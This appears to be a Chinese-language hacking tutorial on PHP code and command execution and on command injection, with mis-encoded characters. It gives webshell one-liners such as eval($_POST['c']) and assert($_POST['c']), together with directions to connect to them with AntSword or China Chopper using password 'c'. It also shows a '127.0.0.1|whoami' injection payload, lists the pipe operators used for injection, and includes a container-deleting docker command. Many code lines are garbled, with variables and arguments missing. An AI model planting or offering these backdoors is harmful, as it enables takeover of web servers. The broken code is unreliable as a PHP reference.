代碼執(zhí)行&命令執(zhí)行&命令注入
代碼執(zhí)行
代碼執(zhí)行是靠腳本代碼調(diào)用操作系統(tǒng)的命令
eval
eval( string $code) : mixed
把字符串 code 作為PHP代碼執(zhí)行。
eval($_POST['c']);
直接蟻劍鏈接密碼為c 中國(guó)菜刀 cknife
assert
assert( mixed exception]) : bool
如果 assertion 是字符串,它將會(huì)被 assert() 當(dāng)做 PHP 代碼來(lái)執(zhí)行。
assert($_POST['c']);
直接蟻劍鏈接密碼為c
preg_replace
preg_replace ( mixed replacement , mixed
limit = -1 [, int &$count ]] ) : mixed
preg_replace — 執(zhí)行一個(gè)正則表達(dá)式的搜索和替換
搜索subject中匹配pattern的部分, 以replacement進(jìn)行替換。
當(dāng)使用被棄用的 e 修飾符時(shí), 這個(gè)函數(shù)會(huì)轉(zhuǎn)義一些字符(即:'、"、 \ 和 NULL
然后進(jìn)行后向引用替換。在完成替換后, 引擎會(huì)將結(jié)果字符串作為php代碼使用eval方式進(jìn)行評(píng)估并將返回值作為最終參與替換的字符串。
echo preg_replace('/test/e','phpinfo()','asdasdtestasd');
/e修飾符前的正則表達(dá)式匹配后面的字符串參數(shù),將test字符串替換為phpinfo()并且以eval()的方式執(zhí)行。
echo preg_replace('/.*/e',$_POST['c'],'');
直接蟻劍鏈接密碼為c
call_user_func
call_user_func ( callable parameter [, mixed $... ]] ) : mixed
call_user_func — 把第一個(gè)參數(shù)作為回調(diào)函數(shù)調(diào)用
第一個(gè)參數(shù) callback 是被調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。
call_user_func('phpinfo');
call_user_func(_POST['c']);
蟻劍鏈接密碼為c,同時(shí)body中寫入name a value assert
create_function
create_function ( string code ) : string
create_function函數(shù)接收兩個(gè)參數(shù)code 然后組成新函數(shù)function_lambda_func(
code;} 并eval(function_lambda_func(
code;})
我們不需要傳參數(shù),直接把$code改為普通的一句話就行了。
c();
直接蟻劍鏈接密碼為c
array_map
array_map ( callable array1 [, array $... ] ) : array
返回?cái)?shù)組,是為 array1 每個(gè)元素應(yīng)用 callback函數(shù)之后的數(shù)組。 callback 函數(shù)形參的數(shù)量和傳給 array_map() 數(shù)組數(shù)量,兩者必須一樣。
array_map('assert',array($_POST['c']));
直接蟻劍鏈接密碼為c
還有諸如array_filter、uksort、uasort、array_walk + preg_replace、preg_filter、mb_ereg_replace、register_shutdown_function、filter_var,不再一一列舉
命令執(zhí)行
?命令執(zhí)行是直接調(diào)用操作系統(tǒng)的命令
system
system ( string return_var ] ) : string
system — 執(zhí)行外部程序,并且顯示輸出,本函數(shù)執(zhí)行 command 參數(shù)所指定的命令, 并且輸出執(zhí)行結(jié)果。
system('whoami');
passthru
passthru ( string return_var ] ) : void
passthru — 執(zhí)行外部程序并且顯示原始輸出
passthru('whoami');
exec
exec ( string output [, int &$return_var ]] ) : string
exec() 執(zhí)行 command 參數(shù)所指定的命令。
echo exec("whoami");
pcntl_exec
pcntl_exec ( string args [, array
path指定可執(zhí)行二進(jìn)制文件路徑
pcntl_exec ( "/bin/bash" , array("whoami"));
shell_exec
shell_exec ( string $cmd ) : string
通過(guò) shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。
echo shell_exec('whoami');
popen
popen ( string mode ) : resource
打開一個(gè)指向進(jìn)程的管道,該進(jìn)程由派生給定的 command 命令執(zhí)行而產(chǎn)生。
read = fread(
read;
pclose($handle);
與之對(duì)應(yīng)的還有proc_open()函數(shù)
反引號(hào)(重要)
在php中稱之為執(zhí)行運(yùn)算符,PHP 將嘗試將反引號(hào)中的內(nèi)容作為 shell 命令來(lái)執(zhí)行,并將其輸出信息返回,使用反引號(hào)運(yùn)算符的效果與函數(shù) shell_exec() 相同。
echo whoami;
ob_start
ob_start ([ callback chunk_size [, bool $erase ]]] ) : bool
回調(diào)system函數(shù)
cmd);
echo "$_GET[a]";
ob_end_flush();
命令注入
命令注入是一種常見(jiàn)的漏洞形態(tài)。一旦存在命令注入漏洞,攻擊者就可以在目標(biāo)系統(tǒng)執(zhí)行任意命令。命令注入產(chǎn)生的原因在于本身代碼支持執(zhí)行某些命令,但是由于過(guò)濾不嚴(yán)格,導(dǎo)致可以注入執(zhí)行額外的命令。
//exec.php
? ip=127.0.0.1|whoami
技巧
Windows系統(tǒng)支持的管道符如下:
“|”:直接執(zhí)行后面的語(yǔ)句。
“||”:如果前面的語(yǔ)句執(zhí)行失敗,則執(zhí)行后面的語(yǔ)句,前面的語(yǔ)句只能為假才行。
“&”:兩條命令都執(zhí)行,如果前面的語(yǔ)句為假則直接執(zhí)行后面的語(yǔ)句,前面的語(yǔ)句可真可假。
“&&”:如果前面的語(yǔ)句為假則直接出錯(cuò),也不執(zhí)行后面的語(yǔ)句,前面的語(yǔ)句為真則兩條命令都執(zhí)行,前面的語(yǔ)句只能為真。
Linux系統(tǒng)支持的管道符如下:
“;”:執(zhí)行完前面的語(yǔ)句再執(zhí)行后面的語(yǔ)句。
“|”:顯示后面語(yǔ)句的執(zhí)行結(jié)果。
“||”:當(dāng)前面的語(yǔ)句執(zhí)行出錯(cuò)時(shí),執(zhí)行后面的語(yǔ)句。
“&”:兩條命令都執(zhí)行,如果前面的語(yǔ)句為假則執(zhí)行執(zhí)行后面的語(yǔ)句,前面的語(yǔ)句可真可假。
“&&”:如果前面的語(yǔ)句為假則直接出錯(cuò),也不執(zhí)行后面的語(yǔ)句,前面的語(yǔ)句為真則兩條命令都執(zhí)行,前面的語(yǔ)句只能為真。
重要!?。?br>
Linux
$(ifconfig)
docker rm $(docker ps -a -q)